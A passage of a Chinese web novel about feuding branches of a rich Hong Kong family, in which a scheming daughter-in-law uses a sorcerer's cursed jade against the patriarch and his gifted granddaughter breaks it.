“黎墨城，你是怎么敢的？我是你二叔的姨太太，你有什么资格决定我的去处？”孙雪莉反应过来后，尖叫起来。 黎墨城却不再看她，向后退了一步，保镖在他的无声暗示下上前将孙雪莉和黎墨舒围住。 “孙姨太，是您跟舒小姐自己去收拾行李，还是要我们帮二位？” “妈咪啊，你看他们……”孙雪莉脸色苍白如纸，向吕洁芳投去求救的目光，黎墨舒吓得瑟瑟发抖，紧紧的躲在她身后。 吕洁芳彻底急了，气得跺脚：“反了！反了！黎墨城，你才是要翻天那个！阿正……我要打电话叫阿正回来！我看谁敢动我儿媳和孙女！” “不用麻烦。”黎墨城淡淡打断她的叫嚷，“我已经通知过二叔，他现在，已经在回来的路上。” 他目光瞥向孙雪莉和黎墨舒母女，宛若尊贵的王者，露出强势的倨傲。 “他说，要亲自送你们去机场。” 一句话，如同冰锥刺穿了孙雪莉所有的侥幸，她腿一软，瘫倒在地心如死灰。 而吕洁芳在得知黎立正都妥协之后，才愿意相信，这就是黎老爷的决定。 黎立正回来，非但不能救她们，反而要亲手执行这“流放”的命令。 黎墨城已经通知完她们，便留下了保镖‘帮忙’，转身准备离去。 黎立正风尘仆仆的从外面赶回来，因为走得太快，被风吹乱了发型，脸色也呈现出清灰色，目光阴暗的看着他。 “阿城，我说过会亲自护送她们，你又何必大动干戈，看把二奶奶气的，她年纪大了，经不起这种折腾。” 黎立正话里的抱怨明显，在黎墨城看来，他妻女被送走，还能这么冷静的说话，已经将脾气控制的很不容易。 “二叔若真心疼二奶奶，以后类似这样的麻烦事，就不要让她插手。” 黎立正无话可说，最近因为王家的麻烦，导致他暗里投放的几条生意路都被堵住，一直忙着为公司奔走。 他本来就忙的焦头烂额，家里还要让他分心。 黎立正脸色阴沉的走到孙雪莉面前，还不等她向自己诉苦，扬起手，就甩了她一耳光。 “我早说过，不要宠坏了孩子，你就是不听！” 说起来，孙雪莉一直都是他真心喜欢的女人，哪怕她只生了一个女儿，他也从来没有对她减少过爱护。 可就是这么一个被他保护得太好的女人，最不争气，硬是把孩子养成了废物！ 黎立正也知道继续下去不是办法，适当让黎墨舒吃一点苦头，才能将她真正唤醒。 “以后去了国外，我会限制你的开支，要真有本事，想要什么就去自己争取，不要再对家里伸手！” 黎立正说完，拽着黎墨舒的胳膊回去收拾行李。 任由孙雪莉和黎墨舒哭得歇斯底里，还是免不了被送走的命运。 …… 黎墨舒虽然是女儿，却是吕洁芳看着长大，对她的宠爱并不比其她孙子少。 有时候对她甚至比其他男孩子都要好，因为她心里清楚，黎立正这边的男孩儿长大后，发展会受到限制。 但作为女儿的黎墨舒却不会，她完全可以凭借黎家千金的身份，嫁一位杰出的世家子弟，到时又何尝不是对兄弟的另一种扶持？ 吕洁芳的算盘，因为黎墨舒被送出国，一夜之间崩塌了。 尤其她在黎立正的妥协中，看清了黎老爷态度，他对自己，已经半点儿情意和容忍都没有了。 就那么纵容大房将她，以及她的孩子死死压制。 如今就连她的孙子，全都成了困兽！ 吕洁芳在床上病恹恹的躺了两天，王素珍作为长媳，不得不从娘家那边的事务中，抽身过来探望。 王素珍端着一盅刚炖好的冰糖燕窝进门，闻着满屋子沉闷的药味，她不经意皱了皱鼻子。 随即换上一副贴心的表情，将燕窝放在床头的柜子上。 “妈咪，您这两天都没怎么吃东西，我亲手炖了点燕窝，您多少用一些，身子要紧。” 吕洁芳脸色呈现一片颓废之色，听见王素珍的声音，空洞的眼睛逐渐有了神采。 “阿珍……你怎么现在才回来，你知不知道，小舒因为犯了错，被老爷送出国，不知道什么时候才能回来！” 王素珍见婆婆埋怨自己，嘴角的笑容慢慢僵硬。 她当然早就收到了消息，就是故意不回来的。 黎墨舒那个死丫头仗着吕洁芳的偏爱，从来不将她这个大娘放在眼里，见面脸问好都要她先说。 外加上她继承了孙雪莉趋炎附势的作风，哪边强就往那边攀，自己的亲兄长从来不亲，却对大房那边的六个儿子使劲儿巴结。 如今她们母女俩一起被送走，正好解决了她的心头隐患，就连耳根子都清净了不少！ 王素珍开心都来不及呢。 不过她心里虽然这样想，在表面上并不能显露出来。 还要做出一副心疼的模样，握住吕洁芳的手服软：“都怪我，自从我弟弟公司出事，连累了阿正的生意，我一心都在帮他们分忧，忽略了家里的事情。 我应该早点回来的，也许阿舒就不会被送出国。妈咪，你实在生我的气就打我，千万别跟自己的身体过不去。” 王素珍说着，还硬从眼睛里挤出几滴眼泪。 吕洁芳见状，也不好再刁难她。 她又何尝不知道，这次就连阿正出面都不管用，王素珍受娘家拖累，也是自身难保，她回来也是没用的。 “罢了罢了，走都走了，还是不提了。阿珍，你一定要吸取教训，把阿尘教好，别让他犯蠢，落得阿舒一样的结果。” 王素珍重重点头，擦掉仅有的两滴眼泪。 “妈咪您放心，阿尘他一直跟在阿正身边，知道自己该怎么做，不会犯傻的。” 王素珍心中冷笑。 他的儿子，可是要做大事的，才不像孙雪莉的女儿那样没脑子！ 至于眼前的重病在床的婆婆，王素珍自从她被黎老爷禁足，就将她视作一枚无用的弃子。 非但不指望她帮什么忙，不添乱就可以了！ “妈咪，您也要照顾好自己的身体，爸比那边……相信您心里已经有数，别人不看重我们，我们更要自己看重自己，至少能落得一份周全，不至于沦为别人的垫脚板。” 王素珍这番话，既是开导，也是变相的警告。 吕洁芳心头又遭一记捶打，松垮的眼皮耷拉着，遮住浑浊的眼睛，无声发出长叹。 …… 月光明镜如银，一个穿着黑色斗篷的女人，推开了港城一个偏院的大门。 “大师，你不是说老爷子中了你的咒术，不出三个月就会死？可是如今半年过去，人非但没死，还活得精气十足，我给你那么多钱，你现在必须给出一个解释！” 屋内正对着门的太师椅中，一个鹤发童颜的男子平静而坐。 细看，他的脸颊透着一股诡异的苍白，在烛光的映照下，狰狞的摇晃着。 “有人破除了我的咒术，使我遭到反噬，你们家近两天可添了什么人口？” 王素珍愣住，片刻后，她沉声回答：“是黎立轩的五姨太，从内地带了个小丫头片子过来。” “怪不得，我最近夜观天象，发现紫微星指向黎家，想来是与那丫头有关。” 王素珍却开始怀疑起对方的能力，藏在斗篷下的脸，愤怒又滑稽。 “你的意思是，你的咒术被一个小丫头片子给破了？你是在逗我？” 第98章 阴煞玉（二更） 王素珍想到自己掏了那么多钱，却并没有得到自己想要的结果，就感到一阵憋屈。 她强势的向前一步，对大师指责起来：“既然如此，也枉费你自称为宗师，连一个小丫头片子都能破了你的咒术，我看你根本就是个骗钱的神棍，就会虚张声势！” 大师的水平被质疑，本就不好看的脸色更加挫败。 为了证明自己的本事并不是白修的，他几步走到柜子前，拿出一个黑色的木盒子。 “这里面放着的，乃是从横死之女墓里挖出的阴煞玉，常人只要佩戴，超过五日就会重病缠身，你只管带回去试一试，就知道我有没有骗你！” 王素珍接过木盒，临走时，抛下一句：“我就再信你这一次，如果失败了，我就拆了你的祖宗庙，让你成为全族罪人！” …… 王素珍回到家里，并没有直接将阴煞玉送给黎老爷。 她先找了一个脑子不怎么灵活的佣人，随便用一个借口，把玉赏给了对方。 而像这些专门伺候有钱人的高级佣人，被主人打赏是再正常不过的事。 她完全没有多想，只以为真的是自己表现得好，得到了主人的重用，高高兴兴的收下了玉髓。 王素珍怕她转手送人，特别交代：“这块玉髓价值不菲，可惜放置了太久，都失去光泽。以后你把它佩戴在身上，让它多沾沾人气，就像一句话说的，人养玉三年，玉养人一生，对你有很多好处。” 佣人赶忙听话照做，面带巴结的答应：“夫人放心，我一定贴身佩戴，把它养得透透亮亮的！” “嗯，下去吧。”王素珍摆了摆手。 接下来，她每天都会观察佣人的气色。 发现那位大师还是有两下子的，佣人不过将玉佩戴了两天，就像是抽掉了半条命，整个人神情呆滞，干活的时候还不小心，打翻了一套茶具。 其他佣人知道王素珍给了对方打赏，正好心生妒忌，于是跑来找王素珍告状。 没想到王素珍非但没惩罚对方，还贴心的给她放了半天假。 王素珍反常的态度，引得佣人们满头雾水，于是心里更加嫉妒了。 直到，那个佣人在后来干活的时候，突然晕倒，王素珍亲自将她送到医院，被查出了治不好的绝症。 那些佣人们就再也不嫉妒或者羡慕她了。 她们在背地里私下讨论，就算被夫人看重又怎么样，没有福气的人，根本就消受不起！ 王素珍则趁着那个佣人在医院里昏迷不醒，悄无声息的取回了玉髓。 她发现吸收了佣人的死亡之气后，那玉髓的光泽又加深了许多，脸上漏出诡秘的笑。 “看来这次，大师终于拿出了真本事。” …… 竖日。 正好是星期日，王素珍特意叫上了三姨太戚容，前去给老爷请安。 黎老爷今天心情不错，提前做好了安排，约几个老朋友出门钓鱼。 见到王素珍带着三房的戚容过来，黎老爷没有什么耐心。 全程敷衍以对：“现在领导主张破除封建思想，以后像请安这种事，都可以免了，你们只管顾好自己的日子，别添乱就行了。” 黎老爷说完，就让官家拿来行囊，准备出门。 王素珍赶忙上前一步，挡住老爷子的去路。 “父亲，您这就要出门了？”王素珍快步上前，语气自然又带着恰到好处的关切。 黎老爷一边整理袖口，一边应道：“嗯，跟老朋友约定好了时间，不能迟到。” 王素珍连忙示意身后的戚容，让她把木盒子递上来。 “父亲，听说您最近因为阿舒的事睡不好觉，这是我让阿容近日向大师求来的安神玉，只要佩戴在身上，便可以得到缓解。” 说着，王素珍将盒子打开，那枚色泽深沉、泛着幽光的黑玉便显露出来。 黎老爷的动作微微一顿，深沉的目光落在那块光晕诡异的玉佩上，又看向王素珍和戚容那写满虔诚的表情，没有过多疑虑。 “你们有心了，先放在这里，等我回来再说。”黎老爷抬脚欲走。 王素珍又上前了一步，急促的说道：“父亲，这玉髓要撇带在身上，才能显现效果，要不您还是带着走吧？” 王淑珍说着，拿出玉坠交给老爷子身边的官家。 “还不快给老爷戴上，愣着做什么！” 官家被点到了名字，迎着头皮上前，接过了玉环，小心的系在黎老爷腰间。 王素珍这才满意，拉着戚容后退了几步，任由黎老爷走出了房门。 “姐姐，那枚玉坠没有问题吧？我怎么感觉，我碰到它后，浑身都不自在？”戚容在黎老爷出门后，发出疑惑。 王素珍冷着脸，看向戚容：“一个玉坠而已，能有什么问题？那本来就是承接福气的东西，是你自己接不住而已。” 戚容：“……” …… 河面波光粼粼，微风拂过，本该是惬意非常。 然而奇怪的是，一下午过去了，黎老爷子的鱼漂纹丝不动，仿佛水下的鱼都集体失踪了。 也因此，黎老爷遭到了老友的嘲笑。 “喂！老黎！你做乜嘢啊？坐咗成日，个鱼篓仲清过你块面啊？哈哈哈！” 【喂！老黎！你搞什么啊？坐了一整天，鱼篓比你的脸还干净啊？哈哈哈！】 “係唔係未瞓醒啊？定係你啲鱼饵臭咗，连鱼都嫌你啊？哈哈！” 【是不是没睡醒啊？还是你的鱼饵发臭了，连鱼都嫌弃你啊？哈哈！】 黎老爷正浑身都不自在，听到嘲笑，没好气地怼：“收声啦你！死老仔！牙喳喳！阻住地球转啊！一时时运低啫！你估个个好似你咁得闲，专登同啲鱼斗气咩！” 【你给我闭嘴！老小子！叽叽喳喳的吵死了！一时运气不好而已！你以为谁都像你这么闲，专门跟鱼过不去吗！”】 “时运低？低到贴地啦你！定係你副老骨头真係唔得喇？手震震，连鱼竿都揸唔稳？唔得就认老啦！返屋企饮茶啦！呢度风大啊，费事吹亲你啊老友！哈哈！” 【运气差？差到贴地了您！还是您这副老骨头真的不行了？手抖的连鱼竿都握不稳？不行就认老吧！回家喝茶去吧！这儿风大，免得吹着您啊老友！哈哈！】 黎老爷本来钓不上鱼就心情不好，又被老友这么一气，一口气上不来，直接手捂着胸口，狼狈的跪倒了下去。 然而老友们都只顾着钓鱼，没有人发现黎老爷的气色不正常。 还是跟老爷子一起过来的小婉婉，最先察觉到状况不对，迈着小碎步跑了过来。 “阿爷，你又一条鱼都没有钓到吗？” 黎老爷本来就因为钓不上鱼难过，这下因为孙女儿的问题，顿时觉得自己没用。 “婉婉，阿爷老不中用，让你丢脸了。” 小婉婉看着老爷子悲伤的神情，小脸儿都皱了起来。 “阿爷不难过，婉婉帮你钓大鱼！” 说完，小婉婉迈着小碎步，朝着河岸跑去。 仍然像上次一样，从河的上游跑到下游，黎老爷就可以钓到大鱼。 然而今天，黎老爷就像是被吸干了精气神，整个人颓然的坐在凳子上，双眼无神的盯着河面，哪怕大鱼咬了钩，也迟迟没有行动。 小婉婉眨了眨眼睛，很快她就发现在老人家的周围，游动着浓郁的黑色气体，无数的噬魂虫在吸取他的生命力量。 小婉婉二话不说跑过去，找到了黑气的源头，是老爷子腰间佩戴的黑色玉髓。 她果断伸出小手，抓住玉髓拽了下来。 黎老爷瞬间感到一阵轻松，等他反应过来的时候，小婉婉正握着玉髓，用力在鹅卵石上敲打。 只听“咔吧”一声。 玉髓裂开了一个口子，紧跟着断成了两截，碎屑绷的到处都是。 黎老爷第一时间不是心疼玉髓，而是关心自己的孙女儿有没有受伤。 “哎呀宝贝，你小手没事吧？快让阿爷看看。” 小婉婉一边伸出小手，一边认认真真的说道：“阿爷，这个不好看，咱们不戴！” 黎老爷检查过小婉婉的手没事，就再也不关心那玉髓，因为由心里想着，任何东西都不如小婉婉安全来的要紧。 “嗯，这东西坏了就坏了，阿爷本来就不稀罕，只要婉婉的手没事就好。” 黎老爷嘴里正说着，小婉婉兴奋的指着河里喊：“阿爷快看，好大的鱼！” 黎老爷赶紧拉住鱼竿，果不其然，这条大鱼得有十多斤重，捞上来的时候，他的几个好友眼睛都看直了。 黎老爷子心里高兴，得意洋洋的炫耀：“你们几条友睇清楚嘞！唔係我钓唔到，係啲鱼太细条，我唔稀罕钓咋！” 【你们几个老小子看清楚，可不是我钓不上来，而是太小的鱼我根本不屑钓！】 几位老友见状，全都露出羡慕的神情，自然也就说不出嘲笑的话了。 黎老爷之后又钓了好几条大鱼，满载而归的他，回到家的第一时间，就是做了顿全鱼宴犒赏全家。 自然的，所有黎家的人都收到了消息，纷纷过来替老爷子庆祝。 王素珍接到消息过来，一眼就发现，早上给黎老爷戴在身上的玉髓不见了。 她趁着大家都在说话的时候，悄无声息的来到黎老爷身边，低声问道：“爹地，今天早上我给您戴上的那枚玉髓，是忘记带了还是……” 第99章 人生赢家黎立轩 黎老爷听王素珍询问自己那块玉坠，神色有些不太自然。 以王素珍的性格，若说是小婉婉觉得不好看，给摔碎了，她肯定要跟孩子生气。 可若说他自己弄坏的，她肯定也会心里不满。 于是老谋深算的他，想了想，决定倒打一耙。 “你还说那是什么祈福得来的宝玉？我看你是让人给蒙了吧！我今天戴着它去钓鱼，一条鱼都不上，害得我被老友嘲笑，把我给气得头昏脑涨！ 后来我几个好友发现我戴着那块玉，觉得成色有问题，传阅的过程里不小心掉在地上，结果你猜怎么着？一下子就碎了，害得我又被他们嘲笑了一通！” 黎老爷眼也不眨的把锅甩给几位老友，反正王素珍又不可能去找他们对峙。 而且为了让王素珍咽下这口哑巴亏，黎老爷坚决要把‘假玉’给坐实。 “那块玉碎了之后，你猜怎么着？我就开始钓大鱼了，这不你们才能聚在这儿吃这顿全鱼宴！” 说完这些，黎老爷还不忘敲打王素珍：“你啊，以后长长脑子，不要谁说什么都信，这样最容易上当！” 王素珍：“……” 难道那个大师又骗了她？ 可是那个佣人明明就被那块玉给害得没命。 连老爷子自己都说，戴上那块玉后身体发生了不适，连说了好几个‘害’字，直到那块玉碎掉，气运才好转。 这老不死的，还真是走运！ “啊，竟然是这样？我记住了爹地……回去一定好好反省。”王素珍默默的退到了坐席上，从背影看来，怎么都显得灰溜溜的。 戚容发现她的神色不对劲，碰了碰她的胳膊：“姐姐，您刚才去跟老爷说什么了？” 王素珍正心烦，看着戚容那张完全没有心机的蠢脸，嘴角僵硬地扯了扯。 “没什么！”她敷衍的回了一句。 目光所及，她们这张桌上坐的，全都是吕洁芳这一房的子嗣。 由于吕洁芳身体不适，没有出席这次的聚会，平日里擅长调动氛围的孙雪莉又被送去国外，显得他们这一桌的氛围格外清冷。 就像是，被黎家给遗弃了一样。 连孩子们都一个个低眉顺眼，没有了往日里的活泼。 反看大房那一脉，老夫人千雪穿着大红色的褂袍，脸上喜气洋洋，被众多孙子围绕着。 还有黎立轩的那几个老婆，也都和睦的相处，就连一直跟宋珍珍作对的朱丽月，今天都格外积极热情的帮忙照顾孩子们。 王素珍心里十分奇怪，朱丽月怎么会止戈？ 心烦意乱的她根本就吃不下东西，找了个去卫生间的借口，到外面透一口气。 “大少爷和二少爷都交代好几遍了，小小姐的那一种鱼骨全都得剃干净，否则卡到小小姐，咱们都吃不了兜着走！” “知道了知道了，你也说了好几遍了，我们小心着呢！” 王素珍循着声音来到隔壁的厢房，就看见几个佣人戴着手套，正在给每一道菜里的鱼肉剔骨。 如果不是她出来亲眼见到这一幕，她竟然都不知道，同样在一起聚会，两桌人的待遇竟然完全不一样？ 而且还是为了一个三岁的小丫头片子，搞出这么多麻烦事来！ 王素珍明明没吃鱼，可是喉咙却像是被刺卡到了，难受的要命。 她深深的吸了一口气，再次回到餐厅里，看着她们这一脉的子嗣，盘子里吃剩下的鱼骨，一个个谨小慎微，又羡慕的看向隔壁。 他们每一道菜都被精心的处理过，桌上干净的，连一滴油都不沾。 强烈的反差对比，使她的心像被一只无形的手紧紧攥住，又酸又痛。 这些孩子，哪个不是黎家的血脉？哪个不是金尊玉贵养大的？ 凭什么就要在这角落里看着别人众星捧月，自己却连大气都不敢喘？ 一股强烈的屈辱和不甘像沸水一样在她胸腔里翻滚。 可是她不能发作，也不能质问，甚至不能露出一丝不满！ 王素珍用力夹起一块鱼，看也不看，直接塞进嘴里，机械地咀嚼着。 鱼肉中细小的尖刺，化作了无数根锋利的针，随着她的吞咽动作，密密麻麻地扎进她的喉咙、她的食道，她的心肝脾肺肾！ 这一刻，她嚼着的不是鱼肉，是愤懑，是嫉妒，是深深的不公！ 她的孩子，本该和主桌那些孩子一样，被众人呵护着，吃着精心处理过的美味，无忧无虑地欢笑。 而不是在这里，像完成任务的囚徒，艰难地吞咽着带刺的鱼肉，连抱怨都不敢大声！ 这口气，她会永远记着，总有一天，黎家亏欠他们的，要连本带利的讨回来！ …… “阿奶，肚肚吃饱了。”小婉婉的小奶音带着一股慵懒的满足，小手也配合的在圆滚滚的小肚皮上拍了两下。 黎老夫人看她吃的像只小花猫儿似的，嘴角一圈都沾满了酱汁，不由笑了起来。 “吃饱了啊小宝贝，让刘妈带你去洗把脸，然后在院子里面玩一会儿，消化消化再睡。” 小婉婉一本正经的点头，道了：“好的阿奶。”就跟着刘妈一起去卫间洗脸。 洗完了脸后，小婉婉准备出去玩了。 宋珍珍考虑到二房的孩子们都在，他们跟小婉婉不熟悉，难保不会因为嫉妒背地里偷偷欺负她。 于是她撂下筷子，提出亲自带小婉婉。 “阿月，你和淼淼留下，等到大家都吃完了，善后再走。” 朱丽月和宋淼淼同声答应，而这对以往横竖看彼此不顺眼的两位姨太太，在朱丽月发生改变后，竟然诡异的相处愉快！ 黎老爷和黎老夫人看着和谐的一幕，心里怎么能不高兴？ 而今天最大的赢家，大概就是黎立轩了。 毕竟妻妾和睦，儿女有爱的大圆满家庭，可不是每个男人都能拥有的。 黎立轩一高兴喝了半瓶白酒，离开的时候，是让黎墨城和黎墨冰把他架着走的。 黎立轩的孩子都走的差不多了，王素珍也打发了二房这边的子嗣。 最后她和戚容留下来，提出给朱丽月和宋淼淼帮忙。 朱丽月之前几是被王素珍钻了空子，听了她的挑拨，才给黎墨郢下咒术。 导致她们母子那么多年，在家里过的不如意。 见到王素珍，她主动拉开距离，仅点了点头，就转身走到一旁，不给她说话的机会。 宋淼淼性格泼辣直爽，一直都不喜欢跟王素珍这种绵里藏针的人打交道，只用几句话就把她噎了回去。 “这边我和二姐两个人就够了，弟妹有空还是多管管孩子，可不要都教成黎墨舒那样，光长年纪不长德行的。 若在外面捅出什么娄子，到时不光你和二奶奶面上无光，就连我们的孩子，都跟着抬不起头来！” 王素珍：“……” 有她这样说话的吗！ 王素珍脸色清白交替，身后的戚容小心拉了拉她的袖子。 “姐姐，我们还是走吧，人家压根儿就瞧不上咱们，何必自讨没趣。” 王素珍没有回应，却是把头一转，挺直了腰杆走出大门。 宋淼淼在王素珍出门后，跑到朱丽月身边，叽里呱啦的说了一大堆：“二姐，你瞧见没有？刚才王素珍那一脸不服的架子，从她进门去跟老爷子说话，我就知道没憋好事。 近两年我每次回娘家，都能听说王家的不少事，她那些兄弟姐妹，没有一个吃素的！ 你见过好秧结坏果，见过坏秧结好果的吗？就算有，也不是他们王家，以后咱们都离她远点儿，免得沾上晦气，走霉运！” 朱丽月亲身领教过王素珍的手段，知道她喜欢搞那些搬不上台面的东西，连平日来往的也都是些牛鬼蛇神。 朱丽月就是亲自见证过，那个术士遭到反噬后的惨状，才会更加避之不及。 “我知道，就是经过黎墨舒那件事后，老爷子一头重偏向我们，以王素珍的性格，怕咽不下这口气。” 宋淼淼鼻腔里“哼”了一声。 “不怕，咱们家这么多人口呢，孩子们没有一个是孬种，王家的手伸得再长，总不至于伸到咱能黎家来。 她顶多能靠的就是她丈夫和儿子，其余的，估量着翻不起什么水花儿。” 朱丽月并不像宋淼淼那么心大，那会儿王素珍询问老爷子玉坠的时候，她留意听了两句。 隐隐觉得，那并不是一个普通的玉坠，王素珍很可能已经藏不住她的祸心。 她不禁想起，一年前，老爷子那场突如其来的重病…… …… 半夜。 黑压压的云层掩密了星子，沉沉的笼罩着港城某处偏院。 王素珍的斗篷浸泡了雨水，披在肩头沉甸甸的，如同她的心情那般，像被坠了块大石头。 她推开大师的房门，不甘的咬着后槽牙，说道：“昨天你给我的那枚阴煞玉，被老爷子的朋友打碎了，你还有没有别的办法，快点送他去地狱？” 大师一听，不敢置信的站起身。 “你说什么？你可知道，那阴煞玉里面的成分是什么吗？” “什么成分？” 王素珍不知道为何，听到大师的反问，她的思维有一瞬间恍惚。 只听大师说：“那玉坠虽名为玉，实际上是一种很名贵的西方宝石，别说摔不烂，就是世界上最坚硬的金刚石都难以损伤分毫。” 是以，王素珍说老爷子那枚玉环被砸烂了，他怎么也不信！ 第100章 压在心里的一根刺（二更） “王女士，你如果后悔给我那些钱，我大可以还给你。但请你不要再找借口，质疑我的修行！” 说着，大师从口袋里拿出支票，标注好金额签了字，交给王素珍。 “我的阴煞玉，麻烦你也还给我！” “我……”王素珍尴尬的脸通红，吸了口气，她解释道：“是老爷子出去钓鱼，回来说那玉摔碎了，但是到底有没有坏，我也没见到。” 眼见着，大师不再出手，王素珍的态度反而软了下来。 “大师，你说有没有可能，是他或者他的朋友发现玉有问题，故意丢掉了？” 只见大师略微思量了片刻，就走到书架上翻阅起来。 许久，他像是有所顿悟，走到香案前，快速地画了一张符纸，随即他咬破指尖，挤出一滴血滴了上去。 指尖血顺着符纸上蔓延，形成了一个普通人看不懂的形状。 大师看到后，倒抽了一口凉气，喃喃道：“阴煞玉竟然真的损毁！” “你说它真的坏了？那、那，大师，你还有别的方法吗？” 大师叹了口气，摇了摇头。 “黎家有吉星坐镇，现在凭我的道行，即便再用其他招数，也会被破解。” 不过很快，大师的眼睛里就浮现了一丝诡异的兴奋。 “对了，我前些天碰到一位道友，他跟我说了一句话，说我最近肯定会有事相求，我当时不信，现在看来，被他说中了！” 王素珍又看见了希望，上前一步：“这么说，那一位大师的道行在你之上？你快带我去见！” …… 全鱼宴结束后。 戚容特意去厨房打包了一些鱼带了回去。 别看她是黎立正的三姨太，可是这些年她过的日子，却远远够不上姨太太的水平。 就连想要吃一顿好吃的，都得去讨好后厨的员工。 而造成这一切的根本原因，就是她既没有王素珍那样的娘家撑腰，也不像孙雪莉那样，得到黎立正的宠爱。 她就是吕洁芳为了给儿子填房，繁衍子嗣娶回家的工具。 既卑微的像个佣人，却没用佣人那么自由。 若不是前几天孙雪莉和黎墨舒被发配出国，她一直都活得像团空气。 于是她主动向王素珍示好，积极配合家族的活动，让她找到了机会！ 她就算不为了自己，也要替儿子着想。 只有受到重视，未来的日子才能好过。 不过王素珍是绝对不会允许她代替孙雪莉，得到黎立正的宠爱，也不会让他儿子超越黎墨尘半分！ 所以她只能从别的地方下手，吕洁芳近日重病在床，没能赶上全鱼宴，正好可以好好去表现一番。 戚容起了个大早，将带回去的鱼留下一条，给黎墨严解馋，另外的一条重新加热，用精美的食盒装着，带去吕洁芳的院子。 自从孙雪莉和黎墨舒来找过吕洁芳，老爷子安排在这边看守的佣人都撤了，倒是方便了她过来。 戚容抱着食盒进门，老年人重病在床，即便照顾得再稳妥，也仍然难掩一股浓重的味道。 是药气混着馊水的腥气，直接冲进鼻孔，呛得她眼睛都干涩起来。 “妈咪呀，看我给你带了什么？是清蒸鱼！老爷子亲手从水库钓的，我想着昨天的全鱼宴您没赶上，就给您带了一条，本想昨天就给您送过来的，但怕时间太晚，打扰您休息，就在今早重新加热才带来。” 戚容一边说着，一边在餐桌前打开食盒。 鱼肉的香味儿顿时弥漫出来，浓郁的漂浮在空气中，嗅觉敏锐的人都能闻出，与那些外面买的鱼肉不一样。 吕洁芳养病的这段日子，遵循医嘱，吃清淡好消化的食物，已经好几天没吃肉了。 戚容送过来的鱼瞬间就勾起了她的食欲，开始分泌唾液，做出吞咽的动作。 但是她一想到，昨天的全鱼宴，她无法参加，黎老爷连一声知会都没有，把她一个人丢在这里不管不问，一股火气‘蹭’的一下冒出来。 “你难道不知道我吃着药，不能沾油腥吗？戚容，你是不是也觉得我活在这个家里碍眼，巴不得我早点死？” 戚容：“……” 她好心好意的来表现，没想到会撞上枪口。 赶忙放下手里的鱼肉，来到床前解释：“对不起啊妈咪，都怪我疏忽大意，忘了您在吃药，我这就把它端走，重新给你做些清淡的糕点送来。” 吕洁芳见她态度不错，没有再继续刁难。 摆了摆手，让她出去。 戚容脚步匆忙的带着鱼走了，出门时正好赶上后厨的佣人过来送药，闻见她提着的食盒里散发出鱼香味儿，起了贪婪的心思。 “戚姨太，你食盒里装的是昨天没吃完的鱼肉吧？二奶奶正在调养身体，不能吃肉，何况这是剩下的，您跟严少爷也不能吃，万一吃坏了肚子就糟了，不如这样，你给我，我拎去后厨帮你倒掉，也省得你亲手处理。” 这个人是吕洁芳院子里的老佣人，专门伺候她一个人的饮食。 她仗着戚容没人撑腰，这些年没少刁难。 戚容心知肚明，她想要霸占自己的鱼肉，却不能与对方撕破脸，只能忍着心疼，把肉交出去。 “那麻烦你，我去后厨另外给妈咪做些糕点，再送过来。” “行，真是难得您的一片孝心。”佣人高兴的收下了鱼肉，放在一旁，端着药碗进了屋。 …… 戚容的母亲曾经做过黎太夫人的贴身丫鬟，一手拿手的厨艺，全都传给了她。 她到了后厨，没用多久就做了两盘香喷喷的糕点，颜色鲜艳，造型也很精致，一看就是用了心的。 她把糕点端去送给吕洁芳，本来想说点好听的话，让她知晓这份心意。 奈何她天生愚钝的大脑，根本承载不了她的表现。 一开口就用力过猛：“以前小舒在家里的时候，隔三岔五的就会去我院子里吃糕点，现在她出国学习，都不知道能不能吃得惯外面的东西，妈咪啊，不如我回头多做一些，给她邮到国外如何？” 在她的认知中，吕洁芳最疼爱黎墨舒，那么只要自己做出一些关心的举动，那么婆婆自然就会赏她一些好脸色。 可惜她忘了黎墨舒不是为学习出国，而是被黎墨城给赶出去的。 吕洁芳一新想要维护孙女儿，没能成功，成了压在心底的一根刺。 她都已经那么用力的去忽略这件事，戚容偏要哪壶不开提哪壶，还转说些挖她心窝子的话，吕洁芳能绷得住菜怪！ “拿上你的东西给我滚！你要是真的关心小舒，黎墨城送她走那天，为何你连个影子都不见？哪怕你出来求两句情？这时候来马后炮，是假惺惺的做给谁看？” 戚容手里的糕点，一股脑的被吕洁芳打翻了。 她震惊的张着嘴，愣了好久，才反应过来又说错了话。 赶忙跪在地上忏悔：“妈咪啊，对不起呀，我不是故意的，您别生气……” “滚！”吕洁芳抄起餐盘打在她身上，砰，餐盘滚落。 戚容疼的脸都白了，灰溜溜的退了出去。 吕洁芳在床上喘个不停，肚子里的火被彻底勾起来，她再也忍不住了，要去见黎老爷子一面，问问他为何对自己，和亲生的孙女儿那么狠心！ “来人，扶我起来！” 吕洁芳在佣人的搀扶下，去了老爷子的院子。 结果还没进门，就被值班的佣人告知：“二姨奶，老爷今天约了老友品茶，上午就出去了，现在还没回来。” “那我进去等！”吕洁芳坚持要见到老爷子不可，佣人拦不住，只能给她让了路，并将她带去客厅安顿。 吕洁芳一等就是三个多小时，到了午饭时间，还在这里用了午饭。 下午三点多，黎老爷喝过下午茶，从外面回来，明明走到了院子口，从佣人口中得知，吕洁芳在客厅里等着。 他直接脚步一转，头也不回的向另一个方向走。 “十分钟后，你去告诉二奶奶，让他不用等了，从今天开始，我搬回到千雪的园子住。” 黎老爷在生病之前，一直都是和千雪住在一起的。 后来病好，他懒得折腾，也想图个清静，就继续住在这里。 眼见着吕洁芳让他不得安宁，那他还不走，难不成真等到过年？ 他才不傻呢！ 黎老爷哼着小曲儿，悠闲自在的走了。 吕洁芳靠在沙发上睡着了，佣人按照吩咐，等了十分钟，过来将她晃醒。 “二奶奶，老爷刚才回来过，他说从今天开始，搬回大奶奶的院子里住，让您自便。” “什么？他回来你怎么不叫醒我？”吕洁芳俨然就是一个老怨妇，看身边的人都有错。 黎老爷手下的佣人也不是吃素的，敷衍道：“是老爷不让打扰您休息，不准叫醒。” 吕洁芳一听老爷还知道关心自己，心情稍微缓解，不过却也激起了对佣人更大的意见。 “那你现在叫醒我，就不怕打扰我休息了？” 佣人淡定颔首，睁着眼睛瞎掰：“您刚才说梦话，一直叫老爷，我怕您不知道老爷回来，才将您叫醒。” “那他现在人呢？别是已经去了千雪的院子？”吕洁芳赶紧起来穿鞋，就要出去撵人。 佣人直接往她头上泼了盆冷水：“走了有一会儿，估计现在已经到了大奶奶那边，您追也来不及了。” 吕洁芳：“……” 第101章 为黎立轩准备的死局（一更） 王素珍第二天晚上，才见到大师引荐的另一位高人。 灯光昏暗的茶室隐秘在漆黑的巷子里，缭绕的香雾浓得呛人，王素珍看着身穿暗色长衫的中年男子。 